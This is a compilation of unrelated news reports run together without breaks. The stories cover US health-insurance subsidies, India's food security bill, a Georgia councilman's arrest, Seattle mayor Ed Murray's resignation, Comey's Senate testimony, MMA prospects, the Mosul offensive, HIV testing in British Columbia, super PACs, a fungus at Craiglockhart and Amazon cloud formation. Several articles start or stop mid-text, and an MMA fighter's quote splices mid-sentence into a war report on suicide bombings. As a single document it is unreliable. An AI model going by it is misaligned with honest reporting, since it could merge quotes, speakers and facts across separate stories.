The Centers for Medicare and Medicaid Services said Friday that only the states where insurance commissioners said companies should assume in their proposals that the subsidies will be paid are allowed to submit updated rates.
“Unfortunately, based on this criteria it seems that Montana would not qualify,” Samara Lorenz with CMS wrote to Rosendale on Friday.
Montana didn’t offer any guidance with regard to rate submission, the companies said.
Todd Lovshin, the Montana regional director for Pacific Source, said they’re evaluating the impact of Trump’s decision and how they can best move forward.
“Our intent is to really work hard to take care of our members,” Lovshin said, adding that Trump’s order does not affect existing policies and members should continue to pay their premiums and seek the care they need.
Rosendale said the focus should be on the underlying problem of affordable health care. “Continuing to throw billions of dollars at insurance companies or turning our health care system over to the government as some would have us do is not a viable solution,” he said.
Gov. Steve Bullock said abruptly ending the subsidies is irresponsible and unnecessary. “Congress must take action to fund the cost-sharing reduction payments immediately and then start making a real effort to work with states to find real solutions to lower costs, stabilize the market and positively impact coverage and care,” he said.NEW DELHI: The UPA government on Friday expressed difficulty in implementing the National Food Security Bill, touted to bring in revolutionary changes in alleviating poverty, through an executive order prior to its approval by Parliament, saying it involved a cost of Rs 23,000 crore.Given the pendency of a public interest litigation on right to food for more than a decade, the court had asked the Centre to examine the feasibility of implementing the National Food Security Bill provisions through an executive order.Attorney general G E Vahanvati told a bench of Justices T S Thakur and F M I Kalifulla that if the government implemented the food security bill through an executive order, without appropriate budgetary provisions approved by Parliament, it would have serious financial implications."Implementation of the provisions of the National Food Security Bill will entail an additional financial implication on the central government of approximately Rs 23,000 crore on account of food subsidy. However, the exact amount of subsidy may vary depending upon the final shape of the bill as approved by the Parliament," Vahanvati said."Under the constitutional scheme, financial allocation can only be made by Parliament and sanction for the expenditure for implementation of the provisions of the bill can be made only after the enactment of the National Food Security Bill by Parliament," the ministry of consumer affairs said in an affidavit.But the bench said the PIL by People's Union for Civil Liberties had gone on for more than 12 years. "All we wanted was implementation of the changes in the public distribution system administering mechanism, as suggested by the Justice D P Wadhwa committee," it said. Vahanvati said he would consult the government and get back with the response about implementing the administrative changes.Among the changes suggested by the Wadhwa committee was nationalization of fair price shops run by private parties. The committee said fair price shops run by private individuals were "epicenters of corruption where shopowner, transporters, corrupt officials and politicians are hand in glove to cheat public".The committee had suggested a civil supply corporation in each state to work as an independent body to distribute PDS foodgrain at fair price shop level and take over existing fair price shops. "Ideally, fair price shops should be run by state level corporations, panchayati raj institutions, cooperatives and registered women's self-help groups (SHGs). Fair price shops should not be run by private individuals. Wherever fair price shop is operated by private individuals, they should be phased out gradually and their place taken over by cooperatives or women SHGs," the committee had said.The bill seeks to cover 75% of the rural population and 50% of urban population in the country. The latest calculation of Rs 23,000 crore towards food subsidy falls much short of initial estimates, which suggested that the subsidy could be upwards of Rs 1 lakh crore.The bill envisages a minimum of 46% of the rural population and 28% urban population to be given 7 kg of foodgrains per month per person. Rice would be provided at Rs 3 a kg, wheat at Rs 2 and coarse grains at Re 1 a kg.The rest of the targeted population would get 3 kg of grains per person per month at half the minimum support price offered to farmers by the government during procurement. Existing nutrition and select social security schemes were also envisaged to be brought under the proposed legislation as an entitlement.Suge Knight has been making some outlandish statements lately, and this time he's claiming that Tupac Shakur is still alive.
TMZ caught up with Knight outside of 1OAK. He then went on a rant about various things from Puff Daddy to why he thinks Pac is still alive and more.
Knight says if Pac were really dead, an arrest would have been made by now. He went on to say that part of the reason he believes the late West Coast rapper is still alive is because someone came forward to confess to shooting the rapper, but was never arrested.
"One thing people gotta realize. It's mothaf***as born and raised out here," Knight said. "You supposed to respect the mothaf***as that live out here. Cause right now we got a lot of out-of-towners living out here and they ain't said nothing about it. You'll have a mothaf***a walk down the street and say 'Suge Knight killed Tupac.' When everybody know off the top I ain't the n***a that killed Tupac. I'm the n***a that protected Tupac."
Knight also took the opportunity to take a few jabs at Diddy calling him a "b***h a**." He claims Diddy is the one to blame for Pac's death.
"But at the same time b***h a** Puffy can get him a mothaf***in star and every rat in the world say he's the one who killed Tupac, or had him shot," he added. "You get what I mean? But if you noticed it was a rat on television saying he the one did the shooting. This happened, that happened, this happened, that happened, right? If you think about it, right? Why you think nobody been arrested if they said they the one killed Tupac...Because Tupac not dead. Tupac not dead, n***a. If he was dead they'd be arresting those dudes for murder. You know he somewhere smoking a Cuban cigar on an island somewhere."ONE banner reads "The world's highest". Another proclaims "The world's most watched". Thousands of spectators throng around streets blaring with loud music; the action is about to begin. Heads poke out from balconies, a few boys are perched on a nearby tree and a phalanx of cameras representing various news channels take position as a commentator introduces the players. The crowd cheers, as a six-year-old child balances himself high above the street on the shoulders of a slightly older mate—who is standing on a swaying pyramid of bodies, two tiers tall. The youngest child’s safety equipment consists of a cycling helmet and a swimming float. The crowd gathered below, at Thane, a suburb of Mumbai, has come hoping to see this team break the world record. It belongs to another Indian team, which managed in 2012 to build a human pyramid that stood 43.79 feet high. This year however there is no chance that any challenger will come close—nor even halfway there.
But this street carnival matters more than the statistics can measure. It celebrates Janmashtami, a Hindu festival to honour Lord Krishna. All over the state of Maharashtra men form human pyramids to reach, and hopefully to break open, a clay pot filled buttermilk and hung at some vertiginous height. Their game is a tribute to some antics from the naughty childhood of the beloved deity. To temper his appetite for butter, Krishna’s mother would hang jars a few feet from the ground, just out of his reach. Yet he would snaffle them by climbing over his friends, who would play along gladly.
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The game is named dahi handi, for the pot of curd at which the boys aim. It’s a fiercely competitive business with a knock-out format. Each mandal (group) gets two attempts to show how high up it can pile its men. In the end, the best team gets a final crack at the pot. They train for months to master their routine and then travel by the truckload to dahi handi hot spots, where their balancing act can win hearts and money. Police are always on hand, usually to cordon off traffic for a few minutes at a time, as each team has its go. Local politicians reward the most intrepid with prizes worth up to $200,000. The dangers are real too. Every year, a few people are killed, usually from falling down onto a metalled road.
In an attempt to make the event safer, last month the government of Maharashtra declared dahi handi to be an “adventure sport”. As such it will need to comply by strict regulations. Children below 12 years of age, for instance, cannot participate, and those between 12 and 18 will require written permission from parents. Players will have to be insured. A safety harness will be made compulsory for pyramids breaching a certain height—which, anyway, will be capped at 20 feet.
“Such rules have killed the fun out of the festival,” grumbles one participant, who brandished a trophy that his team had won at another local competition (in Thane, one hardly needs to walk 3km to find another streetside game going). Grand cash prizes are becoming less common, laments another. An ambulance driver, who hasn’t made any trips to the hospital today, is not complaining however. He stands by and joins the crowd to watch the six-year-old kid squirreling all the way up.
With the alacrity of a tightrope walker, the kid pulls off the feat and, from up high, blows a nervous kiss. The boozy crowd goes delirious. On Monday the Times of India reported that this year’s celebrations were the safest in recent years. Fewer than 150 participants across Mumbai were treated for injuries, all of them minor—less than a third the usual figure, and with no fatalities among the players. The crowds’ interest has waned, admits a policeman on guard. But he is pleased that neither records nor bones were broken under his watch last night.Roswell City Councilman Kent Igleheart has been arrested in DeKalb County following an alleged four-year sexual relationship with an underage girl, starting when she was 13.
Igleheart was arrested Thursday during an undercover sting operation after police say he rented a hotel room at the Days Inn on Northlake Parkway to meet up with the girl, who is now 17.
Police said they are investigating whether Igleheart had relationships with other underage girls.
Igleheart is charged with sexual exploitation of a child, enticing a child for indecent purposes and furnishing alcohol to a minor.
To read the full story, click here.
According to the warrant, the girl’s mother told police that Igleheart had sexual contact with her daughter. Igleheart and the teen exchanged messages on an app where he allegedly asked her to send pictures of her genitals and talked about masturbation.
In one message, according to the warrant, he talked about how her breasts had been smaller when she was younger, but had grown over time.
No one answered the phone at a number listed for Igleheart’s home, and a message was not immediately returned on Friday.
Igleheart was taken into custody at Northlake Mall. A search warrant was served at the hotel and his home on Thursday; another will be served at his place of business in Roswell today.
Igleheart, 53, was elected to the council in 2001 and sits on the environmental/public works committee, according to his profile on the city’s website. His current term ends Dec. 31, 2017.
Roswell city officials said they are aware of the arrest, but have no comment “at this time.”
“We just don’t have enough information at this point,” spokeswoman Julie Brechbill said.
City councilman Donald Horton said he doesn’t have any of the details and didn’t “want to comment on anything.”
Roswell’s city charter says an elected official shall forfeit his office, among other reasons, if he is convicted of a crime involving moral turpitude. Additionally, removal of an elected officer from office may be initiated by a two-thirds vote of the entire membership of the council. Igleheart would have to be given written notice specifying the grounds for removal and a public hearing would be held. The council would need to vote unanimously to remove Igleheart, though he would not get a vote.
According to Igleheart’s city profile, he was named to Georgia Trend magazine’s “40 Under 40,” has a degree from Furman University and completed graduate coursework at the University of Georgia.
Igleheart, who is married, lists his occupation as an actor/consultant.
Igleheart appeared in DeKalb County Magistrate Court Friday afternoon. Bond was set at $30,000 and he was told not to contact the teenager.
“We will not tolerate these types of crimes against our children,” DeKalb Public Safety Director Cedric Alexander said in a statement. “The protection of our children is a priority.”
He said the arrest was the result of work from the county’s Internet Crimes Against Children unit.
If anyone has any information they are asked to contact the DeKalb Police Special Victims Unit at 770-724-7710.
To read more, click here.Mayor Ed Murray announced his resignation hours after a fifth accuser, a cousin, said Murray molested him when the cousin was a teen. Murray maintains he has never abused anyone.
For five months, Seattle Mayor Ed Murray rejected calls for his resignation amid allegations he sexually abused teens decades before entering politics.
But Murray couldn’t withstand a devastating new allegation from within his own family.
He announced his resignation Tuesday, hours after news emerged that a younger cousin was publicly accusing Murray of molesting him in New York in the 1970s.
Murray, a former Democratic state legislator elected mayor in 2013, didn’t appear in public to make the announcement. Instead, he issued a statement saying his resignation would be effective 5 p.m. Wednesday.
“While the allegations against me are not true, it is important that my personal issues do not affect the ability of our city government to conduct the public’s business,” the mayor said.
He added he was proud of his accomplishments in a long political career, including landmark gay civil-rights laws and enactment of a $15 minimum hourly wage.
It was a stunning end to a monthslong drama that has seen five men step forward to accuse Murray of sexually abusing them years ago, when they were teenagers.
Since the allegations began to emerge in April, Murray has continued to say he is innocent. Though he ended his re-election campaign in May, Murray until Tuesday had insisted he would not resign, despite calls for his exit.
“The accumulation of these accusations and now coming from a family member just made it essential that he resign,” said City Councilmember Tim Burgess.
Council President Bruce Harrell will temporarily serve as mayor and will decide within five days whether to take on the role of acting mayor past the Nov. 7 election.
Harrell may turn down the position of acting mayor because accepting it would require him to give up his council seat. If he demurs, the council will pick another of its members to serve until the election results are certified.
If you need help News reports of sexual-assault allegations could be a trigger for victims and survivors of abuse. Here are some resources: The King County Sexual Assault Resource Center offers a 24-hour resource line (888-998-6423). Additionally, KCSARC can help connect people with therapy, legal advocates and family services (kcsarc.org/gethelp).
UW Medicine’s Center for Sexual Assault & Traumatic Stress (depts.washington.edu/hcsats) offers resources, including counseling and medical care. For immediate help, call 206-744-1600.
For readers outside King County, the Washington Coalition of Sexual Assault Programs lists 38 Washington state providers that offer free services. (wcsap.org/find-help)
RAINN: Rape, Abuse, Incest National Network provides a free, confidential hotline (800-656-4673) and online chat (hotline.rainn.org) with trained staff members.
In the election, Seattle voters are choosing between former U.S. Attorney Jenny Durkan and planner Cary Moon, and the winner will take over the mayor’s office after the election results are certified Nov. 28.
Durkan entered the race after Murray ended his bid and accepted the mayor’s endorsement. She removed his name from her campaign website Tuesday afternoon.
Moon first called for Murray to step down in May.
In a statement, Harrell said his “heart goes out” to survivors of sexual abuse due to “the re-traumatization these allegations have caused…
“These accusations are unspeakable and require the utmost attention from our legal and social-service system no matter how long ago they might have occurred,” he said.
The city “must focus on governance and day-to-day business without distraction,” Harrell added, saying he has a plan in place for a “seamless transition.”
Councilmember Kshama Sawant blasted her colleagues for failing to push Murray out. Before Tuesday, she and M. Lorena González were the only council members to call on the mayor to resign.
“Unfortunately, the majority of the City Council failed to show any such leadership,” Sawant said. “Establishment politicians and political operatives do not show courage on an ordinary basis, so this is yet another example.”
Asked why he had held off on calling for Murray’s ouster, Burgess said the new allegations felt different.
“I don’t know what to believe. I don’t know if we’ll ever know the truth in this situation,” he said.
Murray’s midday announcement came soon after The Seattle Times reported on allegations by the mayor’s cousin, Joseph Dyer, 54.
The fifth man to publicly accuse Murray of child sexual abuse, Dyer says he was 13 when Murray forced him into sex when the two shared a bedroom at Dyer’s mother’s home in Medford, New York, in the mid-1970s.
“We were very glad to hear that he’s resigned,” the mother, Maryellen Sottile, said Tuesday afternoon. “We hope it helps the others in some way.”
Murray, 62, has repeatedly denied that he sexually abused anyone, contending the accusations are part of a political takedown targeting him for his progressive politics and record as a gay-rights champion. He attributed the latest claims to bad blood between two estranged wings of the family.
Another accuser, Jeff Simpson, a former foster son of Murray’s who claims Murray began abusing him at age 13, said of the resignation: “I couldn’t believe it. I was like, you know what? God is good. When you’re doing the right thing and don’t quit before the miracle, God takes care of stuff. It’s just on his time.”
Simpson met Murray while growing up in a Portland group home for troubled children in the late 1970s. He tried to bring attention to his allegation in 2008, when Murray was in the Legislature, but his account was never publicly reported.
In July, newly released documents showed that an Oregon child-welfare investigator in 1984 had found Simpson’s allegations valid.
On Tuesday, Simpson said, “If nothing else happens, and nothing else comes of it, for me, I will be OK. Because I believe I got my story out.”
A third accuser, Lloyd Anderson, who met Murray in the same Portland group home as Simpson, issued a statement through his lawyer.
“I feel victory, but saddened that it required another victim to come forward for him to resign. I wonder how many other victims are out there,” said Anderson, who has alleged he was paid for sex as a teenager by Murray in the 1980s in Portland.
Delvonn Heckard, who sued Murray earlier this year over alleged abuse, expressed relief.
“I mean, at least the public knows that everything I was saying was the truth, right?” he said. “I’m not just some crackhead, some criminal, some street kid, I was telling the truth … It’s not just me, or one or two guys. It’s his own cousin, too.”
Heckard dropped his case against the mayor in June, saying he would refile. On Tuesday, he said he’s eager to do so.
“I want to face him so bad. I still want to face him,” Heckard said. “I am going to get my attorney and make sure he’s going to file that lawsuit, now that he’s not the mayor anymore. We need to continue on. He needs to see all of us, all his victims.”
Though the Seattle LGBTQ Commission and Seattle Human Rights Commission joined council members Sawant and González in calling for Murray to resign this summer, he retained support from others on the council and from four former mayors. That remaining support deteriorated Tuesday.
“Given the new allegations … the mayor is making the right decision [to resign],” former Mayor Greg Nickels, who before had said Murray should be allowed to finish his term, said in an email.
Durkan had previously declined to call for Murray to quit. She amended her view Tuesday, shortly before the mayor’s announcement.
“It’s clear that it is in everybody’s best interest for him to resign,” Durkan said in a statement. “As a parent, former public official and openly gay woman, these allegations are beyond sad and tragic; no official is above the law.”
Moon on Tuesday reiterated her previous criticisms, saying the mayor’s response to the allegations had been “deeply inappropriate and harmful, especially to survivors, LGBTQ people and young people everywhere.”
She added, “Survivors of sexual assault must be believed and treated with respect.”
Simpson summed up the news this way: “Is it justice, is it closure? I don’t know. But this definitely — this is a major step in the right direction.”Former FBI director James B. Comey testified about his interactions with President Trump before the Senate Intelligence Committee June 8. Here are key moments. (Sarah Parnass/The Washington Post)
Fired FBI director James B. Comey's testimony to the Senate Intelligence Committee about his conversations with President Trump on Russia can be summed up in one word: Newsworthy.
Here are seven major takeaways.
1. Comey is pretty sure Trump inappropriately interfered in the investigation — but Trump didn't ask the FBI to drop it entirely
When asked if any official from the Trump administration had asked him to stop the FBI investigation into Russian interference in the 2016 election, Former FBI director James B. Comey said "no." (Reuters)
The way Comey understood his conversations with the president, Trump asked Comey for three things: His loyalty; to “lift the cloud” of perception the president was under investigation; and to drop the FBI's investigation into Trump's fired national security adviser Michael Flynn.
“The ask was to get it out that I, the president, am not personally under investigation,” Comey said.
But, Comey testified, Trump did NOT ask him to drop the FBI's broader investigation into Russia meddling in the 2016 election and whether Trump's campaign helped.
Comey also declined to give a legal judgment on whether Trump obstructed justice or colluded with Russia.
2. Comey thinks the president is a liar
At the June 8 Senate Intelligence Committee hearing, former FBI director James Comey said the Trump administration "chose to defame" him and the FBI after he was fired. (Video: Reuters)
The way Comey tells it, the first time he met Trump, he got the heebie-jeebies.
“I was honestly concerned he might lie about the nature of our meeting,” Comey said, as to why he started writing memos of his meetings with the president. “I knew that there might come a day where I might need a record of what happened, not just to defend myself and FBI and the integrity of our situation, and the independence of our function.”
Comey also said the president lied about why he fired him:
“The administration then chose to defame me — and, more importantly, the FBI — by saying the organization was in disarray and that it was poorly led, that the workforce had lost confidence in its leader. Those were lies, plain and simple.”
[Comey, unplugged]
3. The way Trump handled Comey's firing prompted Comey to speak
Former FBI director James B. Comey said he has seen President Trump's May 12 tweet that suggested there could be "tapes" of their private conversations, saying "Lordy, I hope there are tapes." (Reuters)
First, Comey found out he was fired by watching TV.
Comey said he was confused about why he was fired. The president changed his narrative several times, ultimately settling on “that Russia thing.” Then, Comey read reports that the president told Russian officials that Comey was a “nut job.”
Finally, Trump tweeted this:
James Comey better hope that there are no "tapes" of our conversations before he starts leaking to the press! — Donald J. Trump (@realDonaldTrump) May 12, 2017
Comey said he and senior leaders in the FBI had decided to “keep … in a box” everything they had learned about the president's inappropriate questions about the investigation.
But after Trump's tweet, Comey said he couldn't stay silent.
“I woke up in the middle of the night Monday [thinking] that there might be corroboration for our conversation,” Comey testified. “And my judgment was that I needed to get that out in the public square. So I asked a friend of mine to share the content of [my memos] with a reporter.”
Former FBI director James B. Comey testified to the Senate Intelligence Committee June 8 about why he helped reveal notes on his private talks with President Trump. (Reuters)
4. Democrats are pretty sure Comey's firing is the key to what the president did wrong
“I believe the timing of your firing stinks,” said Sen. Ron Wyden (D-Ore.).
Sen. Mark R. Warner (Va.), the top Democrat on the committee, said Comey's oversight of the Russia investigation "might explain why you're sitting down as a private citizen."
Comey agreed that he thinks his firing was tied to the president's frustrations the Russia investigation.
“Something about the way I was conducting, it created pressure, and he wanted me to leave,” Comey said.
5. Republicans aren't trying to defend the president
Former FBI director James B. Comey says President Trump said he hoped Comey could let the Flynn investigation go. At a June 8 Senate Intelligence hearing, Comey told Sen. Jim Risch (R-Idaho), that he "took it as direction." (Reuters)
The closest they got was one GOP senator trying to argue that: Okay, what Trump did was wrong, but is it really obstruction of justice?
“He said: 'I hope' [when he asked you to drop the Flynn investigation]," said Sen. James E. Risch (R-Idaho), a Trump ally. “You don't know of anyone that's ever been charged for hoping something?”
Comey said he didn't, but that he also took the president's comments as a directive.
Sen. John Cornyn (R-Tex.) argued that Trump's request for Comey to "lift the cloud" by saying publicly the president was not under investigation was a reasonable one.
Comey agreed but said the president didn't seem to understand that the FBI would have to retract its public statement if Trump ever were under investigation.
6. Republicans are critical of why Comey didn't speak up
“The president never should have cleared the room,” said Sen. Susan Collins (R-Maine) of a key Oval Office private meeting between Comey and Trump. “And he never should have asked you to let [the investigation into Flynn] go.
“You could have said: 'Mr. President, this meeting is inappropriate. This response could compromise the investigation.'"
Comey testified that he was “stunned” and, in retrospect, he probably should have been more firm with the president. But he just wanted to end the “awkward” conversations.
Comey said he doesn't regret keeping the president's conversations within a tight circle: "No action was the most important thing I could do to make sure there was no interference in the investigation."
7. No side comes off well in Comey's telling of events
Then-U.S. Attorney General Loretta E. Lynch. (Nikki Kahn/The Washington Post)
To hear Comey tell it, when Republicans are in charge and the FBI was investigating Republicans, he was pressured by Republicans to shape his investigation.
And when Democrats were in charge and he was investigating Democrats, he was pressured by Democrats. This is new and significant. It suggests that no side was above meddling.
Comey testified that when he was investigating Hillary Clinton's emails during the 2016 presidential campaign, Attorney General Loretta E. Lynch “directed me not to call it an investigation but instead to call it a matter.”
That, plus Lynch's private tarmac meeting with former president Bill Clinton ahead of the FBI's impending decision on whether Clinton may have criminally mishandled classified information, raised Comey's ethics radar and persuaded him to announce the FBI's findings ahead of schedule.
“That was one of the bricks in the load that led me to conclude: I have to step away from the department if we're to close this case credibly,” Comey said.Tywan Claxton believes in his hands.
The 7-0 (amateur) Blackzilian fighter boasts some Division II All-American collegiate wrestling credentials, but it's putting fist to face that gets his blood moving.
In his next fight, Claxton will make his professional MMA debut. While nothing is announced on that front yet, he already knows who he wants to face.
"I called out a hype train," Claxton told FloCombat. "I called out somebody that Bellator's kind of pushed and pushed and [somebody] that I know that I can beat in less than 24 seconds. I called out Aaron Pico and told him, 'Hey, let's get down in the middle of that ring, bite down on that mouthpiece and throw.'
"I haven't gotten a response yet, but it is what it is. It's making noise. I'm gaining fans. I'm gaining followers. Different organizations are hitting me up trying to get me fights, so it's doing everything it's supposed to do."
[instagram url="https://www.instagram.com/p/BW7nYX_hkJJ/?taken-by=tclax149" hide_caption="0"]
Training alongside the likes of Michael Johnson, Gilbert Burns, Desmond Green, Gesias "JZ" Cavalcante, and a host of other noted mixed martial artists in South Florida, Claxton boasts supreme confidence in his abilities. If his spotless amateur record isn't enough, he also draws some swagger from his unsanctioned run of scraps on the streets. With a mouth like his, sometimes you have to back up your words, and that's something he's more than happy to do.
"I will say that I am a savage," Claxton said. "I had a couple brawls back in my day, back in my college days, Court Street (in Pomeroy, Ohio). You can ask my old teammates. All those guys know that. I got a big mouth, and sometimes when you got a big mouth, you gotta back it up.
"I'm not a huge guy, so the way I talk, people gotta see, 'Hey, let me see if this dude is about what he says he's about.' I'm a savage. I say what's on my mind, and I don't really care what the consequences are -- if there are consequences."
Claxton is ready to put that mentality to the test against Pico, a fighter he's called out in various ways across social media.
[instagram url="https://www.instagram.com/p/BXEcq6OBiQ9/?taken-by=tclax149" hide_caption="0"]
To "Speedy," Pico isn't an intimidating fight. He's easy work, and he's the perfect name to make a splash against to kick off Claxton's professional career.
"One, I got beaters, and he has no chin," Claxton said. "So if I touch him one time, it's over. It's not a matter of 'if' I touch him. It's 'when' I touch him. That's a fight that I can go out there and try new moves. That's like a little brother fight. I can put my hand on his head and let him swing a couple times and touch him on the chin...
"Even the guy who beat Pico [Zach Freeman], hell, if you want to throw me on the main card, I will starch his ass in less than 24 seconds. I'll starch the guy that beat Pico. I'll make my pro debut
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suicide car and truck bombs that have been targeting army positions inside the city.
On Wednesday, a suicide bomber in an armored digger truck penetrated Iraqi forces lines, smashing through vehicles and barricades before detonating a blast that destroyed vehicles including Iraqi U.S.-made Abrahams tanks.
“A bulldozer packed with a large amount of explosives managed to reach our troops near the museum using the Old City side roads, we lost an Abrahams tank, three Humvees and four soldiers,” a spokesman for the rapid reaction forces said.
An Iraqi Air Force helicopter fires missiles against Islamic State militants, during a battle between Iraqi forces and Islamic State militants, in Mosul, Iraq March 17, 2017. REUTERS/Thaier Al-Sudani
An attack on Thursday was stopped when the vehicle was hit by a rocket in the Bab Tob old market area before it could approach federal police and other units, the rapid response force official said.
GUERRILLA TACTICS
Islamic State forces swept in to control a third of Iraq when the army abandoned its positions and fled two years ago. The Iraqi government says its security forces have since been rebuilt and have proven themselves in battle, recapturing lost ground.
A U.S.-led coalition has been providing air strike support, intelligence and advisers on the ground. The Mosul battle has put U.S. troops in a more visible role than at any time since they began to withdraw from Iraq in 2011. Former President Barack Obama sent thousands back as advisers.
U.S. officials have estimated that around 2,000 fighters remain inside the city. But there are risks militants will return to the kind of guerrilla warfare and bombings they have used in the past against the capital and other cities.
Just north of Baghdad, a Sunni militia leader was killed along with two members of his family and two guards on Friday when gunmen, including suicide attackers, broke into his house, police and army sources said.
Lateef al-Jari, local leader of Sunni brigade in the small Sunni town of Mishahda, was killed in the attack, which security sources blamed on Islamic State.
Residents are streaming out of western Mosul neighborhoods recaptured by the government, many hungry and traumatized by living under Islamic State’s rule. Many say food is running short and security is fragile even in liberated areas.
As many as 600,000 civilians are caught with the militants inside Mosul, which Iraqi forces sealed off from the remaining territory that Islamic State controls in Iraq and Syria. The Iraqi forces include army, special forces, Kurdish peshmerga and Shi’ite militias.
Slideshow (7 Images)
Around 255,000 people have been displaced from Mosul and surrounding areas since October, including more than 100,000 since the latest military campaign in western Mosul began on Feb. 19, United Nations figures show.
The last week has seen the highest level of displacement yet, with 32,000 displaced between March 12 and 15.VICTORIA — British Columbia has become the first province in the country to recommend that HIV testing be part of the regular routine of tests offered to adult patients.
The new guidelines are part of an effort to diagnose those infected with HIV sooner to get them the life-saving treatment they need.
Provincial Health Minister Terry Lake even rolled up his sleeves to volunteer a blood sample to test his HIV status.
Provincial Health Officer Dr. Perry Kendall says the routine testing has the potential to eliminate the virus in B.C. and they're encouraging health-care providers to urge patients to take the HIV test.
Currently, only pregnant women in B.C. are routinely offered HIV testing, and Lake says that program has come close to eliminating HIV transmissions from mothers to their children.
The minister says the testing guidelines reinforce the province's reputation of Canada's most aggressive HIV fighting jurisdiction and a model for United Nations HIV/AIDS prevention programs.Some supporters have taken steps to create super PACs, only to abandon their efforts after realizing it wouldn’t sit well with the campaign. Others have forged ahead with spending operations that qualify as super PACs, while defiantly rejecting the label.
Take National Nurses United, the largest nurses’ union in the U.S. The group endorsed Sanders for president back in August. Its political arm—National Nurses United for Patient Protection—has so far spent more than $550,000 in support of Bernie Sanders, including doling out money for print and digital advertising. The group qualifies as a super PAC, according to the Federal Election Commission. Union organizers, however, reject that name.
“It’s not a super PAC, super PACs are corrupt,” RoseAnn DeMoro, the executive director of National Nurses United, said. “They’re a way for the billionaires to influence the political process and spend unlimited money. This is nurses who want to get our support for Bernie out there. That’s way different than the Koch brothers. This isn’t big money. I think people understand the difference.”
That denial points to a disconnect between public perception of what a super PAC is and how they operate on the ground. Voters often associate super PACs with billionaires and vast sums of corporate money. But not all are alike. The groups can also raise unlimited amounts of money from individuals and labor unions.
“There’s always more nuance to these things when you get away from strict legal definitions and out into the real world,” said Larry Noble, the general counsel for the Campaign Legal Center and former general counsel for the Federal Election Commission. “If you want to look at a report and simply count up the number of super PACs supporting a candidate, that wouldn’t give you a true picture of what’s actually happening.”
On Thursday, Sanders won the support of Communications Workers of America, another major labor union. At an event announcing the endorsement, a similar tension was on display. Sanders denounced big money in politics, but CWA president Chris Shelton indicated the union is likely to use its super PAC to support his campaign. “We will respect Bernie’s wishes, but we will use all legal and possible resources to get him elected,” Candice Johnson, a spokesperson for the union said. “We do have a super PAC, but it’s a super PAC of a union of 700,000 working people, not a couple of billionaires. That’s a big difference.”
Sanders, for his part, has forcefully and repeatedly insisted that he does not have—or want—a super PAC. His campaign has been explicit as well. Earlier this month, after the Associated Press reported that an Oakland-based progressive super PAC plans to spend money in support of Sanders, the campaign emailed supporters with the message: “we don’t want this super PAC’s help.” The campaign has also sent a cease and desist letter to another pro-Sanders super PAC, alleging a violation of federal law.Scientists have discovered an unexpected leftover of the first world war on a Scottish university campus. A fungus, foreign to Scotland but relatively common in Europe, has been found growing in the grounds of the former Craiglockhart hospital where war poets Siegfried Sassoon and Wilfred Owen met in 1917.
Its discoverer, ecologist Abbie Patterson, believes British troops who visited Craiglockhart for treatment for shell shock brought Clavulinopsis cinereoides to Scotland after picking up spores on their boots while tramping through the mud of Flanders.
"Group photographs taken during the Great War show soldiers and nurses lined up on the very grassy bank where I discovered the fungus," said Patterson. "It is hard not to make a direct link between these soldiers and the fact that this fungus – which is completely foreign to Scotland but not to Europe – was growing there. Its spores may have been brought over to this country after being picked up by soldiers in the trenches."
As a result, a few soldiers who "cursed through the sludge", as Owen described it in Dulce et Decorum Est, have left a unique mark on their homeland, claims Patterson. Craiglockhart hospital, which is now part of Edinburgh Napier University, was used to treat shell-shocked officers during the war. Owen, who was sent there suffering from the condition and met Sassoon there, was strongly influenced and encouraged in his poetry by Sassoon.
After Owen died in action in 1918, Sassoon went to great lengths to make sure his friend's works were published. Their relationship formed part of Pat Barker's novel Regeneration, later filmed under the same name. In it Stuart Bunce played Owen, James Wilby was Sassoon, and Jonathan Pryce played William Rivers, the psychiatrist in charge of treating soldiers at Craiglockhart.
In fact, Owen and Sassoon were only two of several thousand men sent to Craiglockhart for treatment. The crucial point is that some may well have brought over spores of Clavulinopsis cinereoides to Edinburgh a century ago, said Patterson, who found the fungus while carrying out a biodiversity audit of the Craiglockhart campus.
"The purpose was to find every species that grows on the campus – so it takes a full year to do the audit. Just at the end of the season, in late autumn, the traditional time for fungus to appear, I discovered this sample. I could see it was a type known as coral fungus but was not sure which species … I sent samples to other scientists and they have since confirmed this is Clavulinopsis cinereoides."
The fungus has now been accepted and entered into records as a first for Scotland. "My specimen is now with the Royal Edinburgh Botanic Garden herbarium and is the only specimen they have of this species," he added.
Patterson said his biodiversity audit had uncovered several other rare plants in front of the old hospital. "These plants survived because the grounds of Craiglockhart were not treated with chemicals over the years. Weedkillers were not used here."There was a time when former UFC light heavyweight champion Jon Jones served only as inspiration for other young, top prospects. Jones, after all, stormed through the UFC and became the promotion’s youngest-ever champion, beating some of the best fighters in history, defending the belt and scoring big-money endorsement deals.
Now, after multiple run-ins with the law, the loss of a championship bout, his title, an indefinite suspension and yet another shoe endorsement deal gone, Jones is a cautionary tale to young prospects like undefeated bantamweight Thomas Almeida.
"That’s unfortunate," Almeida recently told Guilherme Cruz, regarding Jones’ situation.
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"You need a good head. It’s easy to lose yourself with money."
Almeida, who won separate $50,000 bonus checks within the past year after his first two UFC bouts — both rousing wins — says that ending up like Jones is a concern. "That’s my biggest fear," he continued.
"I’m a grounded man, a family guy. So, I will just save my money and help my family."
The Brazilian has earlier said he had grand plans for his initial UFC winnings but admitted that he only said that in jest. "I said at the press conference that I was going to buy a big house, but I was just joking," he said.
In fact, Almeida as of yet hasn’t spent much money. "I have no plans for this money yet," he claimed.
"I might invest in things I need, help those who need help, but I don’t plan on using this money yet."
It is a smart approach for the 23-year-old. He knows that these are heady times, and if he wants them to keep rolling, he needs to concentrate on what’s important.
"It’s time to make money, but stay focused," he concluded.
"I don’t want to do anything crazy. Let’s keep it in the bank," he said, laughing.Scientists' view of clouds is clearing up. Two new studies show that cloud-forming particles in the atmosphere, called aerosols, look different and make different clouds depending on their origins.
One study found that in one of the most pristine environments on Earth – above the treetops of the Amazon Rainforest – clouds mostly come from gas emitted by the plants. The entire rainforest is a self-sustaining engine in which "the plants cause the rainfall, and the rainfall causes the plants," said Harvard environmental chemist Scot Martin, a coauthor of the study.
The other, which was compiled from 15 years of data from airplanes flying through clouds, found that aerosols with human origins are larger, more numerous and contribute more to haze than biogenic particles.
This paper "demonstrates the importance of combustion-produced aerosols for controlling cloud-forming particles," commented cloud scientist Robert Wood of the University of Washington, who was not involved in either study.
